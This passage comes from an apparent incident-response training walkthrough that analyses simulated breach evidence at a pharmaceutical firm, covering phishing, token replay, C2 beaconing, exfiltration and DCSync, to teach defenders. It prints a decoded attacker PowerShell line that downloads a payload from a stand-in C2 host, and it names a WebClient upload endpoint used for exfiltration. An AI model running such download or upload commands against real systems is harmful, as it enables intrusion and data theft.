access or persistence as of 2024-11-15 19:00 IST? Are any other hosts compromised? | High | 2024-11-16 06:00 IST | Open |---## Constraints and Assumptions- **Legal/regulatory:** INCD 72h notification window &mdash; expires approximately 2024-11-17  18:47 IST. Israeli Privacy Protection Law (PPL) notification to DPA if personal data  breach confirmed. FDA NDA obligation to notify US partner if formula files confirmed  exfiltrated &mdash; no specific deadline but immediate notification is standard practice.- **Evidence limitations:**  - Palo Alto NGFW firewall flows: 14-day retention only. SERVER-RD-02 November 6    outbound traffic expires 2024-11-20. **Retrieve before any other analysis.**  - Sysmon NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01).  - CrowdStrike NOT deployed on R&amp;D server fleet (12 servers) or DC01.  - DC01 Windows Security log: only partial export available &mdash; full log inaccessible.  - ATP sandbox not enabled for .xlsm files &mdash; attachment was delivered uninspected.- **Access restrictions:**  - WS-IT-LEVI: legal hold, no hardware/disk/memory access. CrowdStrike RTR permitted    with full session logging. Contact Adv. Dina Shapiro before any exception.  - VPN jump host credentials: requested, not yet provisioned (Yael Mizrahi, 19:05 IST).- **Assumptions:**  - All log timestamps assumed UTC unless explicitly marked IST in source.  - CrowdStrike behavioral detections treated as CONFIRMED source (Admiralty A/2).  - Sysmon EID events treated as CONFIRMED source where forwarder health is verified.---## Stakeholders| Name | Role | Involvement ||---|---|---|| Noa Ben-David | IR Lead | Scope approval; receives executive brief; INCD notification decision || Ran Katz | SOC Manager | SOC handoff; implements detection rules; hunting queries || Adv. Dina Shapiro | Legal Counsel | Legal hold oversight; PPL / regulatory notifications; WS-IT-LEVI access decisions || [CISO name] | CISO | Executive brief recipient; $52M deal brief to Board || [US Partner contact] | External &mdash; US biopharma | FDA NDA notification if PIR-001 answered YES |---## Definition of DoneThis investigation is complete when:- [ ] All three PIRs answered or formally deferred with documented reasoning- [ ] Timeline covers full attacker dwell period from first access to detection (or gap documented)- [ ] ATT&amp;CK mapping completed and reviewed &mdash; all confirmed techniques have a gap type- [ ] At least one Sigma detection rule per confirmed TTP with Rule Missing or Coverage Incomplete gap- [ ] SOC handoff document delivered to Ran Katz and acknowledged- [ ] Executive brief approved by Noa Ben-David (IR Lead)- [ ] INCD notification filed if formula data or CII involvement confirmed (deadline: 2024-11-17 18:47 IST)- [ ] PPL / FDA NDA notification decision documented (even if decision is: not required)- [ ] project.yml status set to `closed` and all PIR statuses updated2. Save the file and&nbsp;commitgit add 00-scope/scope.mdgit commit -m &quot;PROJ-2024-001: scope signed off &mdash; 5 systems, 3 PIRs, INCD deadline 2024-11-17, firewall log retrieval urgent&quot;The firewall log retention deadline drives everything. SERVER-RD-02&rsquo;s November 6 outbound traffic expires November 20. That is the exfiltration confirmation window. If it closes, CL-003 becomes INFERRED, not CONFIRMED. Retrieve those logs before any other analysis.Step R1: Evidence Inventory &mdash; What Exists and What Is&nbsp;MissingThe evidence inventory runs before analysis. The rule: you do not analyze what you have not inventoried.1. Open the source&nbsp;registrynano 02-sources/source-registry.mdThe template has two tables: Internal Sources and External Sources. Fill every row you have access to &mdash; and explicitly mark what is absent. Unknown coverage is not the same as no coverage.2. Fill in what you&nbsp;haveFor each log source, fill four fields: Source name, System(s) it covers, Admiralty reliability rating, and any known gap. Where a source is absent from a system that should have it, add a row with &mdash; absent in the Gap column. That absence is a&nbsp;finding.For LifeTech, the completed source registry drives this inventory:GAP-001 &mdash; WS-IT-LEVI Sysmon: October 22 &mdash; November 1,&nbsp;2024Duration: 10 daysRoot cause: Unknown &mdash; Sysmon forwarder stopped. Coincides exactly with  the day the IT admin received a phishing email.What is missing: process creation (EID 1), network connections (EID 3),  file creation (EID 11) for this host during this entire window.Impact: Cannot confirm or rule out attacker activity on WS-IT-LEVI  between Oct 22 and Nov 1. All claims about this period are INFERRED  or HYPOTHESIZED unless supported by alternative sources (VPN logs,  DC authentication logs, firewall flows).Possible cause: Deliberate anti-forensic technique &mdash; terminating Sysmon  service is a known evasion method.The 10-day gap on the IT admin workstation starts the same day a phishing email was delivered to him. This is not coincidence &mdash; it is a&nbsp;finding.3. Create a GAP document for every&nbsp;gapEach gap gets its own file. Create it&nbsp;now:nano 01-evidence/GAP-001-ws-it-levi-sysmon.mdPaste the filled template:# GAP-001 &mdash; WS-IT-LEVI Sysmon | 2024-10-22 &ndash; 2024-11-01Duration: 10 days (2024-10-22 11:31 UTC to 2024-11-01 09:14 UTC)Root cause: Sysmon forwarder stopped. Coincides exactly with delivery  of phishing email to p.levi at 11:23 UTC.What is missing: EID 1 (process creation), EID 3 (network connections),  EID 11 (file creation) for WS-IT-LEVI during this entire window.Impact: Cannot confirm or rule out attacker activity during this period.  All claims covering Oct 22&ndash;Nov 1 on this host are INFERRED or  HYPOTHESIZED unless corroborated by VPN logs, DC auth logs, or  firewall flows.Possible cause: Deliberate - terminating Sysmon is T1562.001 (Impair  Defenses). A gap coinciding with a malicious delivery is itself a  finding, not merely an absence.4. Commit the evidence inventorygit add 01-evidence/ 02-sources/source-registry.mdgit commit -m &quot;PROJ-2024-001: evidence inventory &mdash; 6 sources, GAP-001 (10-day Sysmon gap WS-IT-LEVI Oct 22&ndash;Nov 1), firewall log retrieval urgent before Nov 20&quot;Step R1.5: Hands-On Evidence Analysis &mdash; VS Code InvestigationThe evidence inventory tells you what exists. This step analyzes it. VS Code is the primary tool: one window holds the evidence tree, the formatted logs, the API calls, and the terminal &mdash; no context-switching between applications.Setup &mdash; Open the Evidence&nbsp;Folder# One command opens the entire evidence directory as a workspacecode ~/investigations/lifetech-2024-11/01-evidence/VS Code opens with the Explorer panel showing the full evidence tree. Every JSON, JSONL, CSV, and syslog file is one click&nbsp;away.Install four extensions before starting (Ctrl+Shift+X, search by&nbsp;ID):Or install all at once from the integrated terminal (Ctrl+``&nbsp;):code --install-extension mechatroner.rainbow-csvcode --install-extension humao.rest-clientcode --install-extension ms-vscode.hexeditorcode --install-extension esbenp.prettier-vscodeKey VS Code shortcuts used throughout this&nbsp;step:Download the training evidence:git clone https://github.com/anpa1200/CTI_as_a_Code.gitcode ~/CTI_as_a_Code/investigations/lifetech-2024-11/01-evidence/Direct links to open any file in GitHub (also downloadable via curl&nbsp;-L):m365/message-trace-p.levi.csvFormat: CSVContains: IT admin phishing delivery, Oct&nbsp;15&ndash;24m365/message-trace-m.cohen.csvFormat: CSVContains: CFO phishing delivery, Nov&nbsp;13&ndash;15azure-ad/signin-p.levi.jsonFormat: JSONContains: IT admin Azure AD sign-ins &mdash; Istanbul token&nbsp;replayvpn/anyconnect-2024-10-24.logFormat: ASA syslogContains: VPN session from Istanbul, Oct&nbsp;24sysmon/WS-CFO-01-sysmon.jsonlFormat: JSONLContains: CFO workstation &mdash; PowerShell, LSASS, persistence, BITScrowdstrike/WS-CFO-01-alert-20241115.jsonFormat: JSONContains: CrowdStrike Falcon alert &mdash; triggering detectionwindows-security/DC01-security.jsonlFormat: JSONLContains: DC01 security events &mdash; DCSync EID&nbsp;4662windows-security/SERVER-RD-02-security.jsonlFormat: JSONLContains: R&amp;D server &mdash; EID 4663 file access, EID 5156&nbsp;exfilpalo-alto/ngfw-flows.csvFormat: CSVContains: Perimeter firewall flows &mdash; 381 MB exfil confirmedpalo-alto/dns-queries.csvFormat: CSVContains: DNS telemetry &mdash; C2 beacon&nbsp;patternsql-audit/SERVER-RD-02-sql-audit.jsonlFormat: JSONLContains: SQL Server audit &mdash; full xp_cmdshell exfil&nbsp;chainGAP-001-ws-it-levi-sysmon.mdFormat: MarkdownContains: Documented 10-day Sysmon gap on IT admin&nbsp;host1. CrowdStrike Alert &mdash; JSON in VS&nbsp;CodeIn VS Code Explorer: click crowdstrike/WS-CFO-01-alert-20241115.jsonPress Shift+Alt+F to auto-format. The nested structure becomes readable with collapsible sections.Open the Outline panel (Ctrl+Shift+O):▶ meta▼ resources  ▼ [0]    ▶ device        &mdash; hostname, OS, groups    ▼ behaviors      [0] Execution / T1059.001  &mdash; OUTLOOK.EXE &rarr; powershell.exe      [1] Command and Control / T1071.001      [2] Persistence / T1547.001      [3] Credential Access / T1003.001    ▶ network_accesses    ▶ prevention_policyClick any node to jump directly to that section. Click prevention_policy &mdash; you see &quot;prevent&quot;: false immediately. The CFO&#039;s machine is in detect-only mode; the C2 connection is live. Take the memory dump before anything&nbsp;else.Search (Ctrl+F): type prevented &rarr; jumps to &quot;prevent&quot;: false. Type cmdline &rarr; jumps to the encoded PowerShell command.Or use jq&nbsp;tool:Extract key fields in the integrated terminal (Ctrl+``&nbsp;):jq &#039;.resources[0] | {  detection_id,  severity:  .max_severity_displayname,  host:      .device.hostname,  prevented: .prevention_policy.prevent,  timestamp: .created_timestamp}&#039; crowdstrike/WS-CFO-01-alert-20241115.jsonOutput:{  &quot;detection_id&quot;: &quot;ldt:8f2a4b91e33a471cae44b2fdb8812201:884921003&quot;,  &quot;severity&quot;:     &quot;Critical&quot;,  &quot;host&quot;:         &quot;WS-CFO-01&quot;,  &quot;prevented&quot;:    false,  &quot;timestamp&quot;:    &quot;2024-11-15T16:42:47.882Z&quot;}# List all detected behaviorsjq &#039;.resources[0].behaviors[] | {  timestamp, tactic, technique_id, display_name,  parent: .parent_image_filename,  image:  .filename,  cmdline: (.cmdline // &quot;&quot; | .[0:80])}&#039; crowdstrike/WS-CFO-01-alert-20241115.json# Network connections observedjq &#039;.resources[0].network_accesses[] | {  remote_address, remote_port, direction, timestamp}&#039; crowdstrike/WS-CFO-01-alert-20241115.json# Prevention policy &mdash; confirm detect-only mode and note the policy gapjq &#039;.resources[0].prevention_policy | {name, prevent, detect, note}&#039; \  crowdstrike/WS-CFO-01-alert-20241115.jsonFound IOCsHost WS-CFO-01 &mdash; Victim workstation; CrowdStrike detect-only, C2&nbsp;activeHash (SHA256) de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1848474f57 &mdash; powershell.exe behavior hash from&nbsp;alertHash (MD5) 7353f60b1739074eb17c5f4dddefe239 &mdash; Same behavior; use both for VT&nbsp;lookupProcess OUTLOOK.EXE &rarr; powershell.exe &mdash; Parent&ndash;child execution chain in behaviors[0]Cmdline -NonI -W Hidden -Enc JABjAD0A&hellip; &mdash; Encoded PowerShell payload; decode in Step&nbsp;2IP 203.0.113.87 &mdash; C2 server; 3 connections in network_accesses, port&nbsp;4432. Decode the PowerShell PayloadIn the formatted JSON still open in VS Code, press Ctrl+F and search -Enc &mdash; the base64 argument is on the same line. Copy&nbsp;it.Decode in the integrated terminal &mdash; do not paste encoded malware into online decoders:# PowerShell -Enc uses UTF-16LE encodingecho &quot;JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABkAD0AJABjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA4ADcALwB1AHAAZABhAHQAZQAnACkA&quot; \  | base64 -dOutput:$c=New-Object System.Net.WebClient;$c.Headers.Add(&#039;User-Agent&#039;,&#039;Mozilla/5.0&#039;);$d=$c.DownloadString(&#039;https://203.0.113.87/update&#039;)In VS Code Explorer: click sysmon/WS-CFO-01-sysmon.jsonl. Press Ctrl+F, search &quot;EventID&quot;: 11 &mdash; jumps to the file creation event showing svchost32.exe dropped to AppData\Roaming. The analyst_note field confirms the fake PE timestamp.# Cross-check: confirm what the PowerShell droppedjq &#039;select(.EventID == 11) | {  time: .TimeCreated, dropped_by: .Image, file: .TargetFilename, note: .analyst_note}&#039; sysmon/WS-CFO-01-sysmon.jsonlOr use Base64 extention:Found IOCsIP 203.0.113.87 &mdash; Primary C2 server; payload download&nbsp;sourceURL https://203.0.113.87/update &mdash; C2 payload URL decoded from base64 PowerShellFile svchost32.exe &mdash; Dropper deposited to %AppData%\Roaming\; forged PE timestamp3. M365 Message Trace &mdash; Rainbow&nbsp;CSVIn VS Code Explorer: click m365/message-trace-p.levi.csvWith Rainbow CSV installed, every column gets its own color. The status bar at the bottom shows the column name as you move the&nbsp;cursor.RBQL &mdash; SQL queries against the CSV, no Python&nbsp;needed:Press F5 (or click RBQL in the status bar) to open the query&nbsp;console:-- Find all emails where authentication failedSELECT a.* WHERE a16 == &quot;fail&quot; ORDER By a1Result pane (right&nbsp;side):2024-10-22T11:23:07Z | security-noreply@mfa-lifetechpharma.com  | ACTION REQUIRED: MFA Re-enrollment &mdash; LifeTech IT Security  | Delivered | 4 | fail | fail | failThree auth failures in one row. SCL=4 delivered because the threshold is 5. Add mfa-lifetechpharma.com to IOC&nbsp;list.SELECT a.* WHERE a17 == &#039;1&#039; &amp;&amp; a16 == &#039;fail&#039;Save RBQL results: click Save to CSV in the result panel &rarr; save as 03-analysis/m365-suspects.csv.Switch to m365/message-trace-m.cohen.csv (click in Explorer):-- CFO mailbox &mdash; find the malicious deliverySELECT a.received_time, a.sender_address, a.subject, a.SCL, a.DMARC, a.has_attachmentFROM aWHERE a.DMARC == &#039;fail&#039; OR a.has_attachment == &#039;1&#039;ORDER BY a.received_timeKey finding &mdash; CFO phishing&nbsp;email:2024-11-15T15:58:08Z | contracts@globalcontracts-secure.net  | Q4-2024 Licensing Agreement Review &mdash; Action Required (URGENT)  | SCL=4 | DMARC=fail | has_attachment=1The&nbsp;.xlsm attachment was not sandboxed &mdash; ATP policy gap (INT-007). Add globalcontracts-secure.net to IOC&nbsp;list.Found IOCsDomain mfa-lifetechpharma.com &mdash; AiTM phishing sender domain; DMARC/DKIM/SPF all&nbsp;failEmail security-noreply@mfa-lifetechpharma.com &mdash; IT admin phishing sender (Oct&nbsp;22)Domain globalcontracts-secure.net &mdash; CFO phishing delivery&nbsp;domainEmail contracts@globalcontracts-secure.net &mdash; CFO phishing sender (Nov&nbsp;15)Attachment&nbsp;.xlsm &mdash; Macro-enabled Excel; bypassed ATP sandbox (INT-007)4. Azure AD Sign-In&nbsp;AnalysisIn VS Code Explorer: click azure-ad/signin-p.levi.jsonPress Shift+Alt+F to format. Open the Outline (Ctrl+Shift+O) &mdash; the array shows four sign-in entries. Click entry [1] to jump to aad-signin-002.Search Ctrl+F: type Istanbul &mdash; jumps directly to the suspicious sign-in. Read surrounding context without running any&nbsp;command:&quot;city&quot;: &quot;Istanbul&quot;,&quot;countryOrRegion&quot;: &quot;TR&quot;,&quot;conditionalAccessStatus&quot;: &quot;notApplied&quot;,&quot;succeeded&quot;: nullThree red flags visible immediately in the file: foreign city, CA bypassed, no&nbsp;MFA.Full structured extraction in the terminal:jq &#039;.[] | {  id,  time: .properties.createdDateTime,  ip:   .properties.ipAddress,  loc:  &quot;\(.properties.location.city), \(.properties.location.countryOrRegion)&quot;,  mfa:  .properties.authenticationDetails[0].succeeded,  ca:   .properties.conditionalAccessStatus,  os:   .properties.deviceDetail.operatingSystem}&#039; azure-ad/signin-p.levi.jsonRed flags on aad-signin-002:Found IOCsIP 185.220.101.47 &mdash; Attacker source IP; Istanbul, Turkey (Tor exit&nbsp;node)Account p.levi &mdash; Compromised IT admin; token replay, no MFA challengeIndicator Token replay &mdash; CA policy bypassed; conditionalAccessStatus: notApplied5. VPN Log&nbsp;AnalysisIn VS Code Explorer: click vpn/anyconnect-2024-10-24.logVS Code opens the plain syslog file. Use Ctrl+F to navigate without any commands:Search p.levi &mdash; highlights every line for this&nbsp;userSearch Authentication: successful &mdash; the auth&nbsp;eventSearch Assigned address &mdash; the internal IP assigned to the&nbsp;sessionSearch Duration &mdash; total session&nbsp;length# Full session chain in the terminal:grep &quot;p.levi&quot; vpn/anyconnect-2024-10-24.log \  | grep -E &quot;(716001|716002|734001|Authentication|Teardown|Assigned)&quot;Output:Oct 24 00:17:14 ... User  IP  Authentication: successfulOct 24 00:17:33 ... User  ... Assigned address: 10.10.3.22Oct 24 02:29:08 ... User  ... Duration: 1h12m34s185.220.101.47 (Istanbul VPN exit) authenticated as p.levi and was assigned 10.10.3.22 &mdash; WS-IT-LEVI&#039;s own internal IP. All activity during this session looks like it came from the legitimate workstation.grep -i &quot;mfa\|no.*challenge\|bypass&quot; vpn/anyconnect-2024-10-24.log# &rarr; NOTE: No MFA challenge issued &mdash; session token authentication bypassgrep &quot;203.0.113.87&quot; vpn/anyconnect-2024-10-24.log | awk &#039;{print $1,$2,$3}&#039; | head -8# &rarr; ~7-minute C2 beacons during the VPN session windowFound IOCsIP 185.220.101.47 &mdash; Attacker VPN source; Istanbul; authenticated as&nbsp;p.leviAccount p.levi &mdash; Session token auth; no MFA challenge issuedIP (internal) 10.10.3.22 &mdash; Assigned to attacker session; masks as WS-IT-LEVIIP 203.0.113.87 &mdash; C2 beacons during VPN session (~7-min interval)6. NGFW Log Analysis &mdash; Rainbow&nbsp;CSVIn VS Code Explorer: click palo-alto/ngfw-flows.csvRainbow CSV colorizes columns. The status bar shows column names as you move the&nbsp;cursor.RBQLHeadera1receive_timea22dporta5srca28bytesa6dsta29bytes_senta9rulea30bytes_receiveda10srcusera33elapseda12appa34categorya27actiona41session_end_reasonIn VS Code Explorer: click palo-alto/ngfw-flows.csv. Press F5 to open the RBQL&nbsp;console.Query 1 &mdash; find anomalies: all flows sorted by bytes_sent descendingStart here every time. The outlier appears immediately.SELECT a1, a5, a6, a22,       Math.round(parseInt(a29) / 1048576) + &#039; MB&#039; AS sent_MB,       Math.round(parseInt(a30) / 1024) + &#039; KB&#039; AS rcvd_KB,       a33 + &#039;s&#039;, a10ORDER BY parseInt(a29) DESCResult:2024-11-06T00:14:14Z | 10.10.2.15 | 198.51.100.44 | 443 | 381 MB | 409 KB | 312s |2024-11-15T16:42:41Z | 10.10.1.45 | 203.0.113.87  | 443 |  17 MB |  10 KB |  63s | LIFETECHPHARMA\m.cohen2024-11-15T16:49:22Z | 10.10.1.45 | 203.0.113.87  | 443 |  14 MB |  10 KB |  61s | LIFETECHPHARMA\m.cohen2024-11-15T16:56:03Z | 10.10.1.45 | 203.0.113.87  | 443 |  14 MB |  10 KB |  59s | LIFETECHPHARMA\m.cohen2024-11-06T00:09:44Z | 10.10.3.22 | 203.0.113.87  | 443 |   9 KB |   7 KB |  51s | LIFETECHPHARMA\p.levi...The first row is 17,000&times; larger than any other flow. Upload ratio 99% (381 MB sent, 409 KB received). Session lasted 312 seconds. This is data exfiltration, not a download.Two hosts are beaconing to the same C2 IP: 10.10.3.22 (IT admin, p.levi) and 10.10.1.45 (CFO, m.cohen) &mdash; two separate infections.Query 2 &mdash; exfil upload ratio: flag flows where sent &gt; 90% of total&nbsp;bytesSELECT a1, a5, a6, a22,       Math.round(parseInt(a29) / 1048576) + &#039; MB&#039; AS sent_MB,       Math.round(parseInt(a29) * 100 / (parseInt(a28) + 1)) + &#039;%&#039; AS upload_pct,       a33 + &#039;s&#039;WHERE parseInt(a28) &gt; 100000ORDER BY parseInt(a29) DESCResult: only one row &mdash; 10.10.2.15 &rarr; 198.51.100.44, 99% upload, 381 MB. Every other flow is bidirectional C2 (55&ndash;65% upload) which is beacon traffic, not&nbsp;exfil.Query 3 &mdash; beacon pattern: repeated small flows to same external&nbsp;IPSELECT a6, COUNT(a6) AS sessions,       AVG(parseInt(a28)) AS avg_bytes,       AVG(parseInt(a33)) AS avg_elapsed_sWHERE a6 &amp;&amp; !a6.startsWith(&#039;10.&#039;) &amp;&amp; !a6.startsWith(&#039;192.168.&#039;)   &amp;&amp; !isNaN(parseInt(a28))GROUP BY a6Result:203.0.113.87   | 9 sessions | ~14 KB avg | ~47s avg198.51.100.44  | 1 session  | 399 MB avg | 312s avg203.0.113.87 has 9 short uniform sessions &mdash; beacon. 198.51.100.44 has one giant session &mdash; exfil.Query 4 &mdash; internal lateral movement: flows that stay inside&nbsp;RFC-1918SELECT a1, a5, a6, a22, a28, a9, a10WHERE a5 &amp;&amp; a6   &amp;&amp; (a5.startsWith(&#039;10.&#039;) || a5.startsWith(&#039;192.168.&#039;))   &amp;&amp; (a6.startsWith(&#039;10.&#039;) || a6.startsWith(&#039;192.168.&#039;))ORDER BY a1Result:2024-11-15T19:14:08Z | 10.10.1.45 | 10.10.2.20 | 135   | 8441  | InternalAccess-Allow2024-11-15T19:14:18Z | 10.10.1.45 | 10.10.2.20 | 49152 | 12884 | InternalAccess-AllowCFO workstation (10.10.1.45) connected to an internal host (10.10.2.20) on port 135 (DCE/RPC endpoint mapper) then port 49152 (dynamic RPC). This is the WMI/DCOM lateral movement signature &mdash; 3 hours after the CFO was compromised.Query 5 &mdash; beacon timing: isolate C2 host and sort by time to measure intervalsSELECT a1, a5, a6, parseInt(a29) AS bytes_sent, a33 + &#039;s&#039;WHERE a6 == &#039;203.0.113.87&#039;ORDER BY a1Result:2024-11-01T07:14:02Z | 10.10.3.22 | 8441 bytes | 47s   &larr; WS-IT-LEVI session 12024-11-01T07:21:14Z | 10.10.3.22 | 8221 bytes | 45s   &larr; gap: 432s2024-11-01T07:28:44Z | 10.10.3.22 | 7882 bytes | 44s   &larr; gap: 450s                     &darr; 4.7-day silence (C2 dormant) &darr;2024-11-06T00:09:44Z | 10.10.3.22 | 9441 bytes | 51s   &larr; WS-IT-LEVI session 22024-11-06T00:17:01Z | 10.10.3.22 | 8001 bytes | 46s   &larr; gap: 437s2024-11-06T00:24:33Z | 10.10.3.22 | 8011 bytes | 44s   &larr; gap: 452s2024-11-15T16:42:41Z | 10.10.1.45 | 18221 bytes| 63s   &larr; WS-CFO-01 session 12024-11-15T16:49:22Z | 10.10.1.45 | 14441 bytes| 61s   &larr; gap: 401s2024-11-15T16:56:03Z | 10.10.1.45 | 15001 bytes| 59s   &larr; gap: 421sBeacon interval: 432&ndash;452 seconds (~7.2 minutes). Consistent across both infected hosts &mdash; same implant, same configuration. The 4.7-day gap (Nov 1&ndash;6) between IT admin beacon clusters is the C2 going quiet while staging lateral movement.Click palo-alto/dns-queries.csv in Explorer.Column map:RBQLHeadera1receive_timea2srca4querya6responsea8categorya10analyst_noteQuery 6 &mdash; all malware-category queries, sorted by&nbsp;timeSELECT a1, a2, a4, a6, a8FROM aWHERE a8 == &#039;malware&#039;ORDER BY a1Result &mdash; full malware DNS timeline:2024-10-22T09:28:41Z | 10.10.3.22 | mfa-lifetechpharma.com       | 185.220.101.47  | malware &larr; AiTM phishing page loaded2024-10-22T09:29:02Z | 10.10.3.22 | mfa-lifetechpharma.com       | 185.220.101.47  | malware &larr; token stolen2024-11-01T07:14:00Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware &larr; C2 beacon 12024-11-01T07:21:14Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware2024-11-01T07:28:44Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware2024-11-06T00:09:01Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware2024-11-06T00:17:01Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware &larr; (missing from log)2024-11-06T00:24:33Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware2024-11-06T00:10:14Z | 10.10.2.15 | sys-update-cdn.net            | 198.51.100.44   | malware &larr; exfil domain lookup2024-11-15T15:58:08Z | 10.10.1.45 | globalcontracts-secure.net    | 185.220.101.52  | malware &larr; CFO phishing domain2024-11-15T16:42:33Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware &larr; CFO C2 beacon 12024-11-15T16:49:22Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware2024-11-15T16:56:03Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malwareQuery 7 &mdash; per-host beacon count: how many hosts are infected?SELECT a2, COUNT(a2) AS queriesWHERE a4 == &#039;telemetry-cdn-services.biz&#039;GROUP BY a2Result:10.10.3.22 | 6   &larr; WS-IT-LEVI (IT admin) &mdash; infected Nov 110.10.1.45 | 3   &larr; WS-CFO-01 (CFO) &mdash; infected Nov 15Two hosts. Two infections. Same C2 domain. The IT admin host was the initial foothold; the CFO host is the second wave, 14 days&nbsp;later.Query 8 &mdash; new IP: attacker recon before VPN&nbsp;loginSELECT a1, a2, a4, a6, a8, a10WHERE a2 &amp;&amp; !a2.startsWith(&#039;10.&#039;) &amp;&amp; !a2.startsWith(&#039;192.168.&#039;)ORDER BY a1Result:2024-10-24T00:16:44Z | 185.220.101.47 | vpn.lifetechpharma.com | 10.10.8.1 | business-and-economyThe attacker IP (185.220.101.47) looked up the VPN hostname 1 minute before the successful VPN login. Confirms active operator, not automated tool.Cross-reference with flows (Ctrl+Shift+F &rarr; 198.51.100.44):ngfw-flows.csv   line 11: 10.10.2.15 &rarr; 198.51.100.44 | 399 MB | 312sdns-queries.csv  line 14: 10.10.2.15 &rarr; sys-update-cdn.net &rarr; 198.51.100.44DNS lookup at 00:10:14Z, flow starts at 00:14:14Z &mdash; 4-minute gap between resolution and transfer start. Consistent with manual operator staging the upload&nbsp;command.Found IOCsIP 198.51.100.44 &mdash; Exfil destination; 381 MB upload, 99% upload ratio, 312s, single&nbsp;sessionIP (internal) 10.10.2.15 &mdash; SERVER-RD-02; exfil source&nbsp;hostIP 203.0.113.87 &mdash; C2 server; 9 beacon sessions from 2 hosts, ~7.2-min&nbsp;intervalIP 185.220.101.52 &mdash; New; CFO phishing page host (globalcontracts-secure.net)IP (internal) 10.10.2.20 &mdash; Lateral movement target; reached from CFO host on ports 135 + 49152 (RPC/WMI)Domain telemetry-cdn-services.biz &mdash; C2 domain; queried by both 10.10.3.22 and 10.10.1.45Domain sys-update-cdn.net &mdash; Exfil domain; resolves to 198.51.100.44; queried by 10.10.2.15Domain mfa-lifetechpharma.com &mdash; AiTM phishing domain; resolves to 185.220.101.47Indicator Beacon interval 432&ndash;452s (~7.2 min) &mdash; identical across both infected hosts; same implant&nbsp;configIndicator Attacker recon: 185.220.101.47 queried vpn.lifetechpharma.com 1 min before VPN login7. SQL Audit Log&nbsp;Analysis7. SQL Audit Log&nbsp;AnalysisIn VS Code Explorer: click sql-audit/SERVER-RD-02-sql-audit.jsonlEach line is a JSON object. Use Ctrl+F to navigate directly to key&nbsp;events:Search termJumps toxp_cmdshellShell execution eventsAuditLogAdversary OPSEC recon (SELECT) and anti-forensics (DELETE)UploadFileThe exfiltration commandCompress-ArchiveThe staging&nbsp;commandFull chain in the terminal:jq -r &#039;[.EventTime, .LoginName, .StatementType, (.Statement[0:90])] | @tsv&#039; \  sql-audit/SERVER-RD-02-sql-audit.jsonlSix events: enumerate &rarr; recon (SELECT AuditLog) &rarr; stage &rarr; exfil &rarr; cleanup &rarr; anti-forensics (DELETE AuditLog). The DELETE at 00:15:22Z failed because Splunk had already ingested these rows before it&nbsp;ran.Found IOCsAccount svc_backup &mdash; Lateral movement account; executed full xp_cmdshell chainURL 198.51.100.44/recv &mdash; Exfil endpoint used by WebClient.UploadFileFile USPartner2024-formulas.zip &mdash; Staged archive; formula data compressed before&nbsp;exfilIndicator xp_cmdshell (T1059.003) &mdash; SQL Server shell used as execution proxyIndicator Anti-forensics &mdash; DELETE on SQL AuditLog at 00:15:22Z; blocked by prior Splunk ingestion8. Windows Security Event Log&nbsp;AnalysisIn VS Code Explorer: click windows-security/DC01-security.jsonlPress Ctrl+F, search 4662 &mdash; jumps to the DCSync event. The analyst_note gives the human-readable summary in the file&nbsp;itself:🔴 CRITICAL: DCSync &mdash; DS-Replication-Get-Changes + DS-Replication-Get-Changes-Allfrom WORKSTATION IP 10.10.3.22 (WS-IT-LEVI). NOT a DC. NOT in pentest VLAN (10.10.99.x).# All three DCSync events &mdash; domain, krbtgt, Administratorjq &#039;select(.EventID == 4662) | {  time: .TimeCreated, subject: .SubjectUserName, object: .ObjectName}&#039; windows-security/DC01-security.jsonlOutput:{&quot;time&quot;: &quot;2024-11-06T00:48:33Z&quot;, &quot;subject&quot;: &quot;svc_backup&quot;, &quot;object&quot;: &quot;DC=lifetechpharma,DC=local&quot;}{&quot;time&quot;: &quot;2024-11-06T00:48:44Z&quot;, &quot;subject&quot;: &quot;svc_backup&quot;, &quot;object&quot;: &quot;CN=krbtgt,CN=Users,DC=...&quot;}{&quot;time&quot;: &quot;2024-11-06T00:48:51Z&quot;, &quot;subject&quot;: &quot;svc_backup&quot;, &quot;object&quot;: &quot;CN=Administrator,CN=...&quot;}krbtgt and Administrator DCSync&#039;d &mdash; golden ticket capability obtained. Full domain credential rotation required.Click windows-security/SERVER-RD-02-security.jsonl:Ctrl+F &rarr; 4663 &mdash; file access events. Ctrl+F &rarr; 5156 &mdash; network connection event.jq &#039;select(.EventID == 4663) | .ObjectName&#039; \  windows-security/SERVER-RD-02-security.jsonl | jq -s &#039;length&#039;# &rarr; 47  (47 formula files accessed)jq &#039;select(.EventID == 5156) | {  time: .TimeCreated, process: (.Application | split(&quot;\\\\&quot;) | last),  src: .SourceAddress, dst: .DestAddress, dst_port: .DestPort}&#039; windows-security/SERVER-RD-02-security.jsonl# &rarr; PowerShell &rarr; 198.51.100.44:443 at 00:14:14ZThree independent sources &mdash; SQL audit (00:13:54Z command issued), NGFW flow (00:14:14Z bytes transferred), Windows Security EID 5156 (00:14:14Z connection initiated) &mdash; triangulate to the same 20-second window.Found IOCsAccount svc_backup &mdash; DCSync actor; source IP 10.10.3.22 (non-DC workstation)IP (internal) 10.10.3.22 &mdash; WS-IT-LEVI; attacker pivot host issuing DCSync from workstationObject krbtgt &mdash; DCSync&#039;d at 00:48:44Z; golden ticket capability obtainedObject Administrator &mdash; DCSync&#039;d at 00:48:51Z; full domain compromiseIP 198.51.100.44:443 